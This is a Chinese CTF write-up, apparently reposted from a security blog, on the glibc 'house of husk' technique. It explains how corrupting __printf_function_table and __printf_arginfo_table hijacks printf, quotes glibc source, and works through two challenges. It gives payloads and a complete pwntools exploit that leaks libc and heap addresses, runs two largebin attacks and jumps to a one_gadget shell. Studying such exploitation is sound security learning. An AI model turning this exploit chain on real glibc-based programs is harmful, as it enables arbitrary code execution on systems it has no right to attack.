house of husk
适用版本:
glibc 2.23 -- 至今
漏洞原理:
printf
函数通过检查__printf_function_table
是否为空,来判断是否有自定义的格式化字符若为printf类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec]
处的函数指针
利用条件:
能使 __printf_function_table
处非空__printf_arginfo_table
处可写入地址
利用方法:
劫持 __printf_function_table
使其非空劫持 __printf_arginfo_table
使其表中存放的spec
的位置是后门或者我们的构造的利用链执行到 printf
函数时就可以将执行流劫持程序流spec是格式化字符,比如最后调用的是 printf("%Sn",a)
,那么应该将__printf_arginfo_table[73]
的位置(即&__printf_arginfo_table+0x73*8处)写入我们想要执行的地址
源码分析:
__register_printf_function
为格式化字符为spec
的格式化输出注册函数,而__register_printf_specifier
函数对这个函数进行的封装
通过源码可以看到若格式化符spec不在0x0-0xff(即ascii码范围),会返回-1
若spec为空,程序则会通过calloc分配两个堆地址来存放__printf_arginfo_table
和__printf_function_table
//__register_printf_specifier 源码
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb
,通过篡改__printf_arginfo_table
和__printf_function_table
来进行攻击
可以看到当__printf_function_table
非空,将会调用printf_positional
函数
//vprintf函数部分源码
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
/* Hand off processing for positional parameters. */
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
执行printf_positional
函数会触发__parse_one_specmb
//__parse_one_specmb函数部分*__printf_arginfo_table[spec->info.spec]
/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
/* Find the data argument types of a built-in spec. */
spec->ndata_args = 1;
我们可以通过修改*__printf_arginfo_table[spec->info.spec]
指针为后门或者构造的调用链
例题readme_revenge
先看该手法在栈题上的利用
程序很简单,就一个读入和一个输出,会将我们输入的内容打印出来
又因为程序是静态编译,flag值就在data段上
我们的目的是要利用house of husk手法将flag打印出来
攻击思路:
stack_chk_fail()会将libc_argv[0]指向的字符串打印出来,我们将__libc_argv[0]内容修改为flag的地址 再将printf_function_table置为非空,printf_arginfo_table[spec]篡改为__stack_chk_fail()来打印flag
libc_argv[0]
、printf_function_table、__printf_arginfo_table都在起始地址name的高地址处
我们可以直接覆盖修改它们的值
stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040
name_addr = 0x6B73E0
libc_argv = 0x6b7980
printf_function_table = 0xdeadbeef #__printf_function_table 0x6b7a28
printf_modifier_table = 0x0 #__printf_modifier_table 0x6b7a30
printf_arginfo_table = 0x6b7aa8
payload=p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr,b'a')
payload+=p64(name_addr) #libc_argv[0] -> name_addr ->flag
payload = payload.ljust(0x6b7a28 - name_addr,b'a')
payload+=p64(0x1) #__printf_function_table != 0
payload+=p64(0x0) #__printf_modifier_table = 0
payload = payload.ljust(0x6b7aa8 - name_addr,b'a')
payload+=p64(printf_arginfo_table)
payload+=p64(0xdeadbeef)*(0x73-1)
payload+=p64(stack_chk_fail) #__printf_arginfo_table[73] : printf_arginfo_table+0x73*8
p.sendline(payload)
gdb调试看看具体是怎么执行的:
main+68处执行printf函数,printf会调用vfprintf
在vfprintf会进行__printf_function_table是否为0的检查
非零则会跳转到vfprintf+6000
再往下会调用printf_positional函数
payload+=p64(printf_arginfo_table)
payload+=p64(0xdeadbeef)*(0x73-1)
payload+=p64(stack_chk_fail) #printf_arginfo_table+0x73*8
成功执行__stack_chk_fail()打印出flag
例题heap_level1 (2023黄河流域网络空间安全技能挑战赛)
house of husk打法重点还是在堆题上的利用
限制大小0x41f—0x550,修改限制堆块0xf,存在UAF漏洞
静态分析:
add:
delete:
edit:
show:
show功能只能打印出8字节,UAF常规手法无法泄露heap地址
libc基地址获取:
add(0x500,0,b'aaa')
add(0x500,1,b'bbb')
delete(0)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap地址获取:
delete(1)
add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')
edit(0,b'x00'*0x420+p64(0)+p64(0x41)) #6c0
edit(1,b'x00'*0x340+p64(0)+p64(0x41)) #af0
delete(3)
delete(4)
show(4)
heap_addr = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x6d0 #+0x290
li('heap_addr = '+hex(heap_addr))
largebin attack:
首先申请四个堆块准备largebin attack,先将chunk7送入largebin
add(0x448,5, b'fff') #
add(0x500,6, b'ggg')
add(0x458,7, b'hhh') #
add(0x500,8, b'iii')
delete(7) #ub
add(0x500,9,b'jjj') #chunk7 -> large
第一次largebin attack,使__printf_function_table处非零
###__printf_function_table != 0
delete(5) #ub
printf_function_table = libc_base+0x1f1318
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
# main_arena+1120 main_arena+1120
# chunk7-0x20 __printf_function_table-0x20
edit(7,pl)
add(0x500,10,'kkk') #attack
第二次largebin attack,在__printf_arginfo_table处写入chunk5/11的地址
###__printf_arginfo_table
add(0x448,11,'lll') #rl chunk5
delete(11) #ub
printf_arginfo_table = libc_base+0x1ed7b0
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7,pl)
add(0x500,12,'mmm') #attack
最后再修改spec处为onegadget(注意大小写)
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]
pl=b'a'*((ord('X'))*8-0x10)+p64(og)
edit(11,pl)
触发流程:
sla('>> ','5')
main+162 prinft
__vfprintf_internal
printf_positional
_IO_default_xsputn
这里会有__printf_function_table非空的检查
printf_positional
__parse_one_specmb
这里会对__printf_modifier_table是否为0进行一个check,非0可能会出现些问题,所以尽量保证构造时不影响其值
下面会将&__printf_arginfo_table地址赋给rcx,再将[rcx+rdx*8]的值(即chunk5/11地址+0x58×8)赋给rax,并最终跳转到rax
execvpe
完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('127.0.0.1',8000)
else:
p = process(name)
#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
add_idx = 1
delete_idx = 2
show_idx = 3
edit_idx = 4
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss = elf.bss()
li('bss = '+hex(bss))
def choice(cho):
sla('>> ',cho)
def add(size,idx,con):
choice(add_idx)
sla('HOw much?n',size)
sla('which?n',idx)
p.sendlineafter('Content:n',con)
def delete(idx):
choice(delete_idx)
sla('which one?n',idx)
def show(idx):
choice(show_idx)
sla('which one?n',idx)
def edit(idx,con):
choice(edit_idx)
sla('which one?n',idx)
p.sendafter('content:n',con)
add(0x500,0,b'aaa')
add(0x500,1,b'bbb')
delete(0)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
delete(1)
add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')
edit(0,b'x00'*0x420+p64(0)+p64(0x41)) #6c0
edit(1,b'x00'*0x340+p64(0)+p64(0x41)) #af0
delete(3)
delete(4)
show(4)
heap_addr = u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x6d0 #+0x290
li('heap_addr = '+hex(heap_addr))
add(0x448,5, b'fff') #
add(0x500,6, b'ggg')
add(0x458,7, b'hhh') #
add(0x500,8, b'iii')
delete(7) #ub
add(0x500,9,b'jjj') #chunk7 -> large
###__printf_function_table != 0
delete(5) #ub
printf_function_table = libc_base+0x1f1318
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
# main_arena+1120 main_arena+1120
# chunk7-0x20 __printf_function_table-0x20
edit(7,pl)
add(0x500,10,'kkk') #attack
###__printf_arginfo_table
add(0x448,11,'lll') #rl chunk5
delete(11) #ub
printf_arginfo_table = libc_base+0x1ed7b0
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7,pl)
add(0x500,12,'mmm') #attack
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]
pl=b'a'*((ord('X'))*8-0x10)+p64(og)
printf(ord('X')-2)
edit(11,pl)
#dbg()
sla('>> ','5')
itr()
原文地址:https://xz.aliyun.com/t/12304
技术交流加下方vx
原文始发于微信公众号(红蓝公鸡队):house of huck 心得体会
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论